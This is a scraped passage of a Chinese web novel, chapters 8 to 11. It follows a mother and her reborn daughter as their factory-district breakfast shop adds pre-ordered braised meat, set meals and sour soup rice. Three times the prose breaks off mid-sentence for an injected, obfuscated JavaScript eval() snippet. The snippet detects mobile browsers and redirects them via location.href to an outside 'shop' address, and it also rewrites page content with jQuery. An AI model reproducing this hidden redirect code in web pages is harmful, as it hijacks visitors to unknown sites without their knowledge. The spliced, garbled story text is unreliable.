“那肯定比菜场那家卤肉摊好!”齐大哥接过林勤递过来的骨头汤,说道,“他家只有赶场天才来,味道也就那样,不过是占了独门生意的光!你们怎么个卖法呢?” “我姑娘出的主意,提前一天预订,”姜华英把面条挑进碗里,边放佐料边回答道,“这样也不会浪费太多,我们家还没有冰箱呢!” “姜师傅,我们要订!”吃了一周干馒头的男生举起手,说道,“可以订五花肉吗?” “真要订啊?姜华英把面条放到齐大哥面前,有些惊讶地看向小年轻们,说道,“卤五花肉五块一斤哦!” “嗯,我们订一斤卤五花肉!” 姜华英看了看站在调料桌旁喝汤的林勤,又望向正咧着嘴笑的林乐晓,说道,“那你们在店里等等,我得回家去拿张复写纸。” “我去吧!”林勤放下手里的碗,说道,“复写纸是放在客厅的矮柜子里的吧?” “嗯,把里面的信纸也拿来!” “知道了!这汤你先别倒啊,我一会还喝的!” 午市结束,姜华英收拾好店里,拐到小菜场跟周大嫂订了一斤半五花肉,才迫不及待地回到家数钱。 她坐在小餐桌旁,边笑眯眯地在数学本上登记今天的成本和收入,边美滋滋地想:为了昨天欠的卤肉片,今天又卤了一斤生肉,没想到全部卖完了!不但没有亏本,还挣了一些! “晓晓,你在干嘛呢?快来帮妈妈再写一个价格表!” 林乐晓正靠在床上发呆,听到姜华英叫她,立马小跑到厨房,问道:“什么价格表?” “唔……就写熟食预订吧,”姜华英用手指在信纸上划了一圈,说道,“下面写卤五花肉五元一斤,卤肉四块五毛一斤。” “就这两样啊?” “那你说说,还能卤点啥?” “卤鸡蛋呢?妈妈卤的鸡蛋可好吃了呀!”林乐晓走到自己的房间,拿上她小时候的宝贝水彩笔,说道,“还有卤藕片呢!” “会有人来买吗?” “反正是预订嘛!” 8. 臊子拌饭 第二天早上,姜华英洗完早市用过的碗筷,坐在煤炉子旁开始燎五花肉的皮。 “哟,华英烧肉呢?”一位提着菜篮的大娘路过,闻到空气里焦糊的味道,顺嘴问道,“今天要做什么好吃的啊?” “卤点五花肉!”姜华英看了看肉皮,又把肉放到炉盖上,抬头回答道,“单身楼的那群小年轻,订了一斤卤五花肉。” “你还卖卤肉呢!” “是呢,不过需要提前一天预订!” 收拾好五花肉,姜华英架起锅开始炒卤料。她在烧好的菜油里撒了几颗冰糖,待炒出红亮的糖色,往锅里丢了些姜、大葱、八角等香料,炒香后倒进一小锅热水,这才把五花肉和瘦肉放进锅里,最后加了点盐和酱油调味。 带着孙子来吃早餐的大婶坐在靠门的桌子边,等着姜华英弄完卤肉给他们煮米粉。 “你这卤汁还是每天现炒的啊!”大婶拍了拍被香得直哼哼的孙子,说道,“我那天看电视里面说,卤汁是越卤越香,说有家卤味店的卤汁都有百年历史了呢!” “我卤的肉少,又是没什么油脂的瘦肉,卤汁没有那一层油脂保护,保存不当很容易坏掉,”姜华英把汤桶的锅盖放在炒锅上,说道,“再说我们拌粉的酱汁也要用卤汁调制,剩不下多少的。” “你这不卤得有五花肉吗?” “嗨,这是单身楼的年轻娃娃们订的!”姜华英洗完手,往漏勺里抓了一把米粉,说道,“大婶,我们现在也卖卤肉了,不过要提前一天预订哦!” 就着昨天剩下的榨菜肉末吃完半碗稀饭和水煮蛋,林乐晓坐在小餐桌旁翻看小说名著。 “这些人怎么老是吃干硬面包配奶酪啊?还没有炸馒头片抹霉豆腐好吃!”她边看边自言自语地说道,“啊!想吃软乎乎的牛奶土司……这玩意现在肯定卖得很贵吧!哦,不对,我们城里应该还没有卖的,不知道省城有了没有……” 正看得昏昏沉沉地差点睡着的时候,餐桌上的闹钟响了起来,把林乐晓吓了一大跳。她摁下闹钟上端左右敲打的小锤,半睁着眼睛瞟到了自己放在闹钟下的纸条。 “十一点一刻了,蒸米饭吧!” 林乐晓站起来伸了个懒腰,先走到灶边用火钎拨开灶火,慢悠悠地淘着米,等火烧得旺起来,正好把小蒸锅放上去。 灶火烧得大,不过二十分钟,米饭就蒸好了。 林乐晓看了看时间,把蒸锅盖子打开晾着,等冒出的水汽差不多散完了,才垫着抹布端出饭钵,往早餐店去了。 还没有到纺织厂中午下班时间,店里没人吃粉,姜华英坐在门口的桌子旁喝水,享受着片刻的清闲。 看见女儿捧着饭钵走过来,她站起来向前走了两步,接过饭钵,说道:“来得正好,这会儿没人,我们娘俩先把午饭吃了!” 姜华英把饭钵放在调料桌上,给林乐晓舀了一碗骨头汤,又挑了两筷子豆芽放进汤里。她让女儿先端着汤碗去坐着,自己则拿出两个空碗添饭。 “妈妈,我只要小半碗饭,”林乐晓端着豆芽骨头汤小心翼翼地走到水池边的桌子旁,转身看见调料桌上满满的两碗饭,微微皱着眉头说道,“饭太多了,我吃不完……” 姜华英叹了一口气,端起一碗饭,拨了一大半出去,问道:“要吃什么臊子?” “西红柿青椒肉末,谢谢妈妈!” “晓晓,你得多吃点饭,”姜华英把盖饭放到林乐晓面前,说道,“你太瘦了!” “我已经在努力多吃饭了!” 姜华英倒了些骨头汤在自己的米饭上,就着榨菜肉沫刨了一大口汤饭,说道:“妈妈这样才叫努力吃饭,你那叫小猫挑食!” 林乐晓不乐意地撅了撅嘴巴,心里却开始盘算锻炼计划。她的身体素质确实差,从小就比别人更容易生病,现在重新活了一回,是该把身体锻炼好一点,至少让自己少生点病、少遭点罪。 “小嘴巴撅得,都可以挂油瓶了……”姜华英边吃饭,边跟女儿逗趣,连门口来了客人都没注意到。 “姜师傅,我要二两西红柿青椒肉末拌面!” 突如其来的声音把母女俩吓了一跳。林乐晓被骨头汤呛了一下,“咳咳”的咳嗽声半天停不下来。 姜华英伸出手使劲地拍着女儿的背。 客人也赶紧走到她俩旁边,一脸担心地问道:“没事吧?对不起,我没……” “呛了……咳咳……一下……汤,”林乐晓边咳边摆手,还一个劲地往旁边躲避她妈妈的手,说道,“妈!你……咳咳……拍疼我……了!” 她伸出被姜华英拍得一抖一抖的手,晃晃悠悠地端起汤碗,喝了一口汤,勉强止住了咳嗽后迫不及待地说道:“妈妈,我没事,你赶紧去煮面吧!” “真没事?”姜华英放下手,仔细地看着林乐晓,不放心地问道。 “真没事,是被汤呛了一下,没有被豆芽卡到。” 姜华英舒了一口气,看了看客人,又看了看碗里剩下的几口米饭,对客人说道:“不好意思啊,吓到你了吧?你坐着等等,我这就去下面条!” 她端起碗快速地把米饭刨完,顺手把碗放进水池里。 “姜师傅,你慢慢吃,我不着急!”客人看着姜华英咽下嘴里的米饭,才拍拍胸口,在林乐晓旁边坐下来。 林乐晓不好意思地朝他笑笑,慢条斯理地挑了一筷子肉末拌饭送入口中。 客人咽下一口口水,有些茫然地想:这西红柿青椒肉末,拌米饭好像也挺好吃的…… 来吃米粉的人陆陆续续地进店,姜华英一直站在调料桌旁煮粉煮面。林乐晓也赶忙吃完饭,帮着端碗收碗。 林勤到早餐店的时候,店里早已坐满了人。他连忙走进店里,想接过林乐晓手里的米粉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544621|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你去洗手吃饭吧,吃完把水池里的碗都洗了!”姜华英白了林勤一眼,“知道中午忙,还来得这么晚……” 林勤尴尬地笑了笑,走到水池边洗完手,才蹭到调料桌旁跟姜华英解释道:“二车间有台机器坏了,拖得有点晚,师父今天还请假了,我走路回来的……” “师父家里有事啊?” “好像说是有个朋友的父亲去世了,他和师娘去随礼了。” 姜华英点点头,往饭钵里舀了一小勺榨菜肉末,说道:“今天西红柿的卖得好,你吃榨菜吧!” “榨菜好,下饭!”林勤端起饭钵,把榨菜肉末搅进饭里,站到店门口刨起饭来。 “华英,煮个二两米粉,要榨菜肉末!”齐大哥拿着一个馒头,路过吃得很香的林勤,在店里找了个空位坐下来。他盯着墙上新张贴的预订熟食价目表看了半天,跟正在往米粉碗里放调料的姜华英说道:“华英啊,你们要不也卖米饭吧?” “啊?”姜华英一手端着拌米粉,一手端着骨头汤,边往齐大哥的座位走,边问道,“卖米饭?有人吃吗?” “我!”干馒头小伙子举起手,喊道,“还有我们单身楼的人,肯定都来吃!” “我这儿要是卖米饭,那可要比米粉贵……”姜华英把拌米粉和骨头汤放到桌上,说道,“菜也不能像厂里食堂那么多种类……” “嗨,我也就是这么一说……”齐大哥打了个哈哈,低头吃起米粉来。 干馒头小伙子还想说话,被阳春面姑娘拉了一下,闭上了嘴巴。 “你别说得那么信誓旦旦,咱们单身楼好几个人为了省钱,一直吃大馒头抹霉豆腐呢!”买馒头的青年放下碗,说道,“都吃完了吧,我们去拿卤肉。” 小年轻们站起来,挨个把碗放到水池里,又拥到调料桌旁,喊姜华英道:“姜师傅,我们来拿卤肉!” “哎,都给你们准备好了!带碗了吗?”姜华英把卤肉和酱汁倒进他们自带的碗里,说道,“收据拿给我们晓晓吧!” 小年轻们拿着卤肉走了,早餐店里安静下来,只听得到客人们呲溜着嗦粉嗦面的声音。 林勤吃完饭,拿着饭钵,一摇一晃地走到水池边上刷碗。 林乐晓跟在他身后,走到空出的桌子边坐下,一边回忆上辈子没有卖快餐的原因,一边琢磨现在卖快餐的可能。 根据林乐晓不甚严密的分析,上辈子没卖快餐,主要是因为快餐菜式不能像米粉臊子这样敷衍,成本会出高不少,她妈妈害怕亏钱。而如今卖快餐,完全可以和熟食一样,采用提前订餐的模式,妈妈应该不会拒绝,至少会先试试水。 “菜式不用太多,一荤一素一汤,每天都有更换就行,”林乐晓看看姜华英,又看看贴在墙上的价目表,在心里说道,“不知道现在小黑板卖得贵不贵,要不让爸爸用黑漆在墙上刷一块?粉笔应该不算贵吧?” 9. 快餐预订 想要卖快餐,要先说服姜华英。 林乐晓思来想去,决定从熟食预订开始说起。 她帮着姜华英把稀饭和凉拌菜端到小餐桌上,说道:“妈妈,今天连做拌粉的卤肉都卖完了哎!也有明天的熟食预订吧?” 姜华英舀了一碗稀饭,递给林乐晓,回答道:“有啊!你没听见吗?单身楼的哥哥姐姐们订了十来个卤蛋呢!” “有个哥哥还说想吃米饭呢,”林乐晓夹了一筷子拍黄瓜放进嘴里,含含糊糊地问道,“妈妈,你也卖米饭呗?” 姜华英微微皱起眉头,回答道:“可是卖米饭,菜就不能像臊子这样随便炒了,每天的菜量更加不好控制,我们小本生意,亏了可怎么办?”她手里捏着半个馒头,半天没有咬上一口。 “不能像熟食那样预订吗?”林乐晓捧着碗,故作不解地问道。 “欸?”姜华英的眼睛亮了起来,用力捏扁了手里的馒头,说道,“我怎么没想到呢?还是我们晓晓聪明!” 林勤稀里呼噜地喝了小半碗稀饭,问道:“也像熟食预订那样,把价格先贴出来?那每天卖的菜也都一样?” “提前一天写菜单!” “是把第二天的菜单贴出来!” 母女俩同时出声,林乐晓看了妈妈一眼,嘿嘿地笑了两声,问林勤道:“爸爸,你能在店里面涂一小面黑板吗?” “不知道谁家能有黑漆啊!我去问问吧!”林勤挑了几颗水豆豉,说道,“这几天呢,先用信纸将就一下?” “也不知道是买一块黑板贵还是买一桶黑漆贵啊?”姜华英一口吃掉被揉吧成了圆球的馒头,含糊不清地说道,“还是先看看生意怎么样吧!” 吃完晚饭,林勤洗好碗筷,站在小餐桌旁边擦手边问道:“去散会步吧?” 林乐晓一下子从客厅的沙发上站起来,说道:“走吧!” “啊呀,今天的太阳要从东边落下去了?”姜华英跟着女儿站起来,作势朝厨房窗外望去。 林乐晓没吭声,自顾自地走到门口换了鞋,打开大门走到阳台上等着。 姜华英也走到了阳台上,低头看了看女儿,说道,“生气了?你愿意动一动,妈妈是高兴的!” “那你还讽刺我!”林乐晓不乐意地说道。她刚才只是有点不好意思,姜华英一来和她说话,林乐晓就觉得自己很有了道理。虽然她不知道在哪个时空多过了三十几年,感觉上和姜华英现在一般大,可她还是妈妈的女儿啊,何况她目前还是个小学生呢。 “我哪有……”姜华英背着手,抬头望向楼前稀稀疏疏的野草,嘟嘟囔囔地小声说道,“那对不起……嘛……” “嗯,”林乐晓没想到现在的妈妈就会给她道歉了,她使劲忍住了嘴角向上扬的趋势,说道,“走吧!” 热了这么多天,傍晚终于起了大风,吹散了燥热,吹来了层层乌云。 林乐晓一家三口沿着纺织厂家属区的水泥路往小菜场走,边走边讨论着该炒些什么菜来配米饭。 “妈妈,也不用搞得太复杂,就炒一荤一素,再煮个酸汤,按一素一汤、一荤一汤、一荤一素一汤来卖,怎么样?” “一荤一素一汤?能有人买吗?” “妈妈,你跟着我说一遍!快餐~预~订!” “快餐……”姜华英跟着念了一半,才反应过来,她瞪了女儿一眼,说道,“夸你聪明,你还喘上了是吧!跟你老妈没大没小!” 母女两个边闹边走,差点撞上迎面而来的人。 “啊呀,对不起啊隋静姐,我没看到你们……”姜华英拉拉林乐晓的小手,说道,“晓晓,叫阿姨啊!” “隋阿姨晚上好!瑶瑶晚上好!” “哎,一家三口遛弯呢?”隋静也拍拍蒋瑶的肩膀,说道,“瑶瑶,晓晓跟你说话呢……” “姜阿姨好,林叔叔好!”蒋瑶叫完大人,轻轻地朝林乐晓哼了一声,接着偏过头,背着小手走了。 “这孩子!”隋静不好意思地朝林乐晓笑了笑,跟姜华英说道,“你们转着啊,我们先回家了。” 等隋静母女走得远了些,姜华英才小声问林乐晓道:“你和蒋瑶吵架了?” “也算不上吵架吧……”林乐晓尴尬地扣扣手指,回答道,“前几天她叫我去打乒乓球,我觉得太热了,不想去,就说我想在家看书,谁知道隋静阿姨在家呢,就被隋阿姨听到了……” “她被骂了?” “也没有吧……被隋阿姨说了几句……”林乐晓在姜华英的瞪视中,说话声音越来越小。 “你看小说就说看小说,还看书!”姜华英伸出手指,轻轻地推了一下女儿的额头,说道,“是我,我也懒得理你!” 林乐晓摸了摸额头,轻叹一口气:这破小孩可真难当啊! 第二天阴沉沉的,倒是没有下雨。 姜华英炒好粉面要用的臊子,又把调料桌擦了一遍,才吐出心里隐隐的郁气,在调料桌旁边的墙上贴了快餐预订的价格和明天的菜单。 来吃早餐的人和前两天差不多,大家都对新贴的快餐很感兴趣。 “小姜啊,你这个快餐怎么卖得这么贵的?”退休的朱工咽下嘴里的米粉,喝了口汤顺了顺,问道,“这个一素一汤的快餐是全素吧?要七毛钱,都能买二两肉末米粉了!” “朱工,粉面的臊子就是调个味,快餐的菜量多得多,”姜华英有些紧张地捏了捏手指根,问道,“您要订一份吧?” “嗯,订个一荤一素一汤吧!”朱工用筷子指了指快餐价格表,说道,“可以自己带碗来打吧?” “可以的!”姜华英从调料桌的抽屉里拿出信纸和复写纸,高兴地说道,“要加米饭吗?一个套餐配三两米饭,加一毛钱可以加二两米饭!” “不加,”朱工摆了摆手中的筷子,说道,“我晚上就跟老婆子说,明天不用从儿子家带菜来了!” “朱工,你家王大姐去伺候儿媳妇坐月子,还要管你的晚饭啊?你自己煮点稀饭喝喝不就好了?”吴大婶边喂坐在她腿上的孙子吃面,边不解地问道。 “我当然煮了稀饭!但我家老婆子累了一天,晚上就想吃点清爽又有味道的饭,”朱工接过姜华英递过来的信纸,从上衣兜里掏出两张一块钱递回去,说道,“本来都商量好了,我每天中午去食堂多打点菜,谁知道……” “一荤一素一汤的快餐,加上二两榨菜肉末拌粉,刚好两块!”姜华英笑着接过钱,又扭头问吴大婶道,“大婶,您要订吗?” “我一会儿问问媳妇再说……”吴大婶把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544622|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里的勺子放到碗里,叹了口气道,“也不知道这小子怎么就是不吃我做的饭!我们村里有红白喜事时,我都会去帮着做饭,都说我做得好吃啊!” 姜华英把钱丢进调料桌的抽屉里,抿着嘴笑了起来。 在早市开了个好头以后,午市也订了十来份快餐出去,姜华英对售卖快餐有了一些信心。 她度量着预订的菜量,在这个基础上跟孔大嫂多订了些菜,想着多炒些素菜,就算卖不完,自家晚上还可以下稀饭。 订完第二天要用的猪肉和蔬菜,姜华英回到家属楼,第一件事是去煤棚里翻找以前跟着食堂买的浅口大盆。 她扛着大盆走上楼,站在门口边喘气,边叫林乐晓开门。 “妈妈,要用这个大盆来盛饭吗?”林乐晓打开门,帮着姜华英把盆端进家,有些疑惑地问道,“今天预订出去的快餐,还不需要这么大的盆吧?” “呵,你就气我吧!”姜华英把盆放在厨房的地上,坐在小餐桌旁边休息,说道,“是拿来给菜保温的!” “妈妈,我只是好奇,没有在气你!”林乐晓站在姜华英身后,给她按了按肩膀,说道,“你刚才让我找的搪瓷钵钵,我都找出来洗好了!” “辛苦我们晓晓了!”姜华英拉住林乐晓的手,让她坐到餐桌旁,说道,“晓晓,妈妈跟你商量件事。咱们才开始卖快餐,买的人还不算多。你现在又还在放暑假,妈妈就想让你帮忙煮一下米饭,如果生意好起来,我和你爸爸再去买一个煤炉子,好吗?” “当然可以!” 帮早餐店煮米饭,比起给自己家蒸饭,用的锅都不是一个量级。林乐晓把家里用来蒸年菜的大蒸锅端到灶上,来来回回地往里面倒了好几回水,才把洗好的两钵白米放进去。 蒸锅上汽后,林乐晓又等了一刻钟,到早餐店换了姜华英回家端米饭。 她坐在门边的桌子旁,担心地看着煤炉子上的浅口大盆,生怕一个不小心,这个大盆会带着里面的两钵菜掉在地上。 “早知道要用个这么大的盆,就该让爸爸把煤炉子外边的围挡砌得宽一点!” “晓晓,怎么只有你在啊?你妈妈呢?”朱工走到门边,把手里的饭盒和小奶锅放到桌上,说道,“我特意提前点来打饭呢!” “朱爷爷,我妈妈回家端米饭去了!”林乐晓站起来,伸手拿过桌上的奶锅,说道,“我先给您打酸汤吧?” “你别动了,我怕你一转身,就把炉子上的盆碰倒了!”朱工在林乐晓旁边坐下,说道,“之前你们只卖米粉还不觉得,现在只是多了一个盆、一个锅,就感觉这店里有些转不开了……” “这里还有一个锅呢!”姜华英端着大蒸锅,小心地走进店里,说道,“我没来得及烧好水,又怕炒的菜凉了,就把盆直接放在炉子上了。确实太危险了,谢谢朱工提醒!我来给你打饭!” 送走朱工,母女俩才把浅口大盆、汤锅、蒸锅放在调料桌上,单身楼的小年轻们就进了店。 他们把订餐的纸条递给林乐晓,在调料桌旁站成一排,等着姜华英打饭。 干馒头小伙伸长了脖子,看着浅口大盆里的丝瓜肉圆和炒茄子,咽下嘴里的口水,说道:“姜师傅,今天的菜可真香,看起来就比您在食堂炒得还好吃!” 10. 酸汤米饭 林乐晓把订餐纸条按照收取顺序叠好,还根据编号对了对挂在墙壁上的原件。看到姜华英拿起了一个碗,她便在旁边报餐名道:“一荤一汤加二两饭!” 姜华英点点头,先往碗里舀了好几勺饭,再舀了一勺丝瓜肉圆浇在饭上,把碗递给干馒头小伙子后,才又添了一碗酸汤,说道:“看着好吃,那你帮阿姨尝尝,味道比起食堂菜有没有退步?” 干馒头小伙子端着两个碗,咧着嘴笑着说道:“那我要好好尝一下了!” “赶紧去坐着吃吧!”买馒头青年踢了他一脚,笑骂道,“别挡在前面了,我们还要打饭呢!” “说话就说话,踢我干嘛……”干馒头小伙子边吐槽同伴,边走到桌子旁坐下,迫不及待地夹了一筷子丝瓜塞进嘴里。 夏天的丝瓜鲜灵滑嫩,甫一进嘴,感觉还没嚼上两下,就顺着喉咙滑进了胃里,只留下满嘴带着肉香的甘甜。肉圆捏得很松散,细碎的肉粒之间充满了鲜甜的丝瓜汁水,咬上一口,混着一丝清甜的肉香立刻充盈了整个口腔。 干馒头小伙子被清爽的丝瓜肉圆折服,拌着菜和汤稀里呼噜地刨完了大半碗米饭,才满足地抬起头,伸手端起了盛酸汤的碗。 “哎,你不是说什么,‘要好好品尝’吗?吃得这么快,尝出味道了吗?”阳春面姑娘才坐下来,就看到干馒头小伙子居然快吃完了,不由得出声问道。 “怎么说话呢!怎么就没尝出味道了?我告诉你!丝瓜的清香和圆子的肉香交织在一起,”干馒头小伙子哼了一声,喝了一大口手里端着的酸汤,喊道:“姜师傅,您这酸汤真好喝啊!”说完这句,他又“吨吨”地喝了两大口酸汤,然后餍足地长叹了一口气。 “这么好喝?”买馒头青年狐疑地看了干馒头小伙一眼,也端起酸汤碗,尝试地喝了一小口,问道,“姜师傅,这酸汤的味道怎么和食堂煮的一点也不一样啊?酸味很足却很柔和,还带了一点点的甜和辣,真的好好喝啊!” “好喝吧?”姜华英打完他们一行人的饭,正在给来吃粉的客人烫粉,她把米粉倒进碗里,笑着说道,“这个红酸是我家里的秘方,我也不是每年都做得好,要看运气的!看来去年的运气还不错!” 坐在门口的桌子边等米粉的客人迟疑了一下,还是问道:“姜师傅,可以把骨头汤换成酸汤吗?” 姜华英放下正在舀骨头汤的勺子,伸头看了看锅里还剩的酸汤数量,回答道:“可是可以,但没有他们快餐那么多菜哦,我还得给订餐的人留点……” “谢谢姜师傅!我看他们喝得那么香,想尝一下,”客人点了点头,说道,“唉,这天看着要下雨,却总是不下,闷得心里烦,连骨头汤都有点腻味了,就想吃点清爽的……” 姜华英给客人打了一碗酸汤,被后面来的人看到了,也嚷嚷着想把骨头汤换成酸汤。 “前几天出大太阳,骨头汤都卖得出去,今天怎么回事……”姜华英边烫米粉,边低声自言自语道。 就在她暗自左右为难的时候,林乐晓捧着一个洗好的饭钵走了过来。 “妈妈,没剩几份订餐了吧?”她把饭钵递给姜华英,怂恿地说道,“要不把快餐的酸汤舀到这个钵钵里放着,还剩的可以给他们换骨头汤?” 姜华英张了张嘴,却没说话,只是挥着手让女儿把饭钵拿开点,别挡着她打调料。不一会儿,姜华英端着拌米粉走到靠门的桌子边,跟两个要换酸汤的客人说道:“今天没煮多少酸汤,可以匀两碗给你们,但是没有多少菜哦!” “行!”两个客人对视一眼,不约而同地点了点头。 前头换了酸汤的客人一口气喝了大半碗汤,边拌米粉边说道:“姜师傅,你这酸汤是真的好喝!明天可得多煮点!” 姜华英把酸汤放在客人桌上,还没来得及回话,来吃快餐的人们接二连三地进了店。还好林勤也缀在客人们的后面走了进来,跑去洗完手就拿起了漏勺。一家三口配合着,两人打快餐,一人煮粉煮面。 干馒头小伙子看到店里人一下子多了起来,赶紧把剩下的饭呼啦完,站起来给后来的人让了座位。 他把脏碗放进水池,又问报餐的林乐晓道:“小朋友,我订个明天的一素一汤,多会儿能给我写条啊?” “现在就可以!”林乐晓捏紧手里的订餐条,从调料桌的抽屉里拿出信纸,在已经写好的订餐条上填上餐档和日期,撕下复写页递给干馒头小伙子,笑眯眯地说道,“哥哥,给你!” “谢谢了!”小伙子接过纸条,看了看才叠好揣进裤兜,低声说道,“这么搞,还挺方便的……” 他摸摸吃得浑圆的肚子,跟还在奋力刨米饭的买馒头青年说了句:“我去门口等你们!”便穿过等着打餐的队伍,走到了早餐店门口,差点跟迎面小跑而来的朱工撞到了一起。 “对不起,我没注意到……” “是我只顾着跑了,没看到你走出来,”朱工抓紧手里的小锑锅,对着他摇摇头,示意他不要在意,接着转身朝着还在打饭的姜华英问道,“小姜,那个酸汤还有吗?我要买一碗!” 姜华英打完最后一个快餐,把手里的大勺子放进空荡荡的酸汤锅里,不好意思地回答道:“朱工,刚刚卖完了……” “唉,你也不多煮点!”朱工懊恼地晃了晃小锑锅,说道,“我还想买点给老婆子尝尝呢!” “刚才那一碗呢?” “我本来想好要留点的,一个没注意,就吃完了……” 早餐店里的大家安静了一刻,不知道谁没忍住笑了一声,笑声便此起彼伏地响起来。 朱工不好意思地握紧手里的锑锅,色厉内荏地跟姜华英说道:“明天要多煮点才行!” 听了这话,店里的大家顾不上笑了,纷纷点着头说道:“姜师傅,朱工说得对,明天多煮点酸汤啊!” 送走最后一个客人,一家三口坐在门口的桌子边歇气。 “没剩什么菜了,炒个蛋炒饭吧?”姜华英用手撑着下巴,低垂着眼睛问林勤和林乐晓道,“本来多炒了点菜,又被朱工买走了,骨头汤倒是剩了很多……” 看着面前的两个人都点了点头,她没有立刻站起身,而是放下撑着下巴的手,坐直了身子,继续问道:“你们觉得,加个酸汤饭怎么样?三两米饭,浇点臊子,再加一碗酸汤,卖八毛钱一份,应该有人吃吧?” “我觉得可以!”林乐晓像上课回答问题那样举起手,有些兴奋的说道,“妈妈,还可以单卖酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544623|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤!” 姜华英对着女儿点点头,说道:“嗯,酸汤卖三毛钱一碗,明天我多煮一锅酸汤先卖卖看!用家里的蒸饭锅煮,卖不完就当作咱们的晚饭!”说完,她转头看向了林勤。 林勤无奈地耸了耸肩,看了看姜华英,又转头看了看林乐晓,说道:“虽然我喜欢吃酸的,但一锅也太多……呃,肯定会卖完的!就算卖不完,我也会吃完的!”他说到一半,在老婆和女儿的瞪视下,不得不承担起处理剩菜的责任。 姜华英满意地拍了拍他,站起来走到煤炉子边开始架锅炒饭。林勤跑到水池边洗碗,心里默默地嘀咕着:如果剩下的酸汤太多,就分几碗给师父和师兄们吧。 酝酿了一天的雨终于在傍晚落下,凉爽却只停留了一晚,第二天一早,太阳又早早地挂在了天边。 孔大嫂帮着姜华英把蔬菜搬到店里的水池边,用手臂擦了擦额头边的汗,问道:“姜师傅,明天也要这么多菜吗?” “我中午忙完去小菜场找你,到时再定明天要的菜量,”姜华英把菜钱递给孔大嫂,和她商量道,“我看你今天带的菜不多,要是早上就卖完了,也麻烦你等等我,或者你绕过来店里看看,可以吗?” “我昨天带的菜没卖完,所以今天干脆少背点,要是能早点卖完就好了……”孔大嫂点了点钱,把钱收到腰间的荷包里装好,说道,“姜师傅,我在小菜场等着你,啊!” 因为要煮两锅酸汤,姜华英干脆把做卤肉的瘦肉先和骨头汤一锅炖熟。等忙完早市,她在炒好的糖色里加入几勺骨头汤,再放进煮好的瘦肉和鸡蛋,又在另一个煤炉子上架起蒸锅煮酸汤。 一锅混有豇豆莲花白和豆芽的酸汤煮好,卤肉锅也咕嘟了半个来小时,姜华英把酸汤锅和卤肉锅都端到水池边的桌子上,又把骨头汤锅放回煤炉子上,才开始煮另一锅酸汤。她瞟了一眼调料桌上的闹钟,看见比昨天卤好肉的时间提前了半个小时,姜华英舒了一口气:不用像昨天那样着急忙慌地连温菜的水来不及烧了。 姜华英像还在食堂上班时那样,游刃有余地把炒菜盛到菜钵里,再在放菜钵的盆里倒进热水,又将酸汤端到调料桌边新添的凳子上,林乐晓才刚刚走进早餐店。 “妈妈,我来了!”林乐晓快步走进小店,看到井井有条的午市准备,朝着姜华英树了个大拇指,说道,“妈妈,你今天动作可真快啊!” 姜华英得意地笑了一声,跟女儿说道:“我回家端米饭,要是有人来吃米粉,你就让他等一等,煤炉子上的锅不稳,你别自己给客人烫米粉!” “知道了!” 送走姜华英,林乐晓照旧坐在门边的桌子旁,正无聊呢,朱工提着饭盒、拿着小锑锅走到了她面前,问道:“晓晓,你妈妈又不在啊?回家端米饭了?” “朱爷爷,您今天又是第一!”林乐晓笑着回答道,“您坐一会儿,我妈妈马上就来了!” 朱工唉声叹气地把饭盒和小锅放在桌上,却眼尖地发现调料桌旁又贴了新的菜单。他满意地坐到林乐晓旁边,说道:“我要一份酸汤饭,快餐给我装到饭盒里,再多要一份酸汤!” 朱工咧开嘴笑了两声,高兴地想着,今天晚上不用煮稀饭了,可以和老霍头多下两局象棋! 11. 多休半天 林乐晓看了看朱工带的饭盒和锑锅,问道:“朱爷爷,酸汤饭要在这里吃吗?” “在这儿吃,”朱工在桌子底下伸了伸腿,扭头看了眼凳子上的两锅酸汤,说道,“你先舀一碗酸汤给我吧?” “好呀!朱爷爷您坐会儿,我去洗洗手!” “你先来把钱收了,再去洗手。” 姜华英端着米饭走进店里的时候,朱工已经吃完了大半碗酸汤。 林乐晓跟在姜华英后面,絮絮叨叨地告诉她自己已经收了朱工的钱,给他盛了一碗酸汤,还差朱工一碗臊子米饭和一碗酸汤。 姜华英放好米饭蒸锅,捏了下女儿喋喋不休的嘴巴,让她给朱工再添一勺酸汤。她自己洗过手,揭开蒸锅的盖子,边盛米饭边问道:“朱工,您是吃榨菜肉末还是吃西红柿青椒肉末?” “西红柿青椒吧!” “好嘞!快餐一会儿再给您装?”姜华英把米饭端给朱工,拿起桌上的饭盒问道。 “现在装吧,一会儿吃饭的人就该多了。” 和朱工预想的一样,今天来吃午饭的客人们,看见新贴的菜单上有酸汤饭卖,几乎都把米粉换成了米饭。 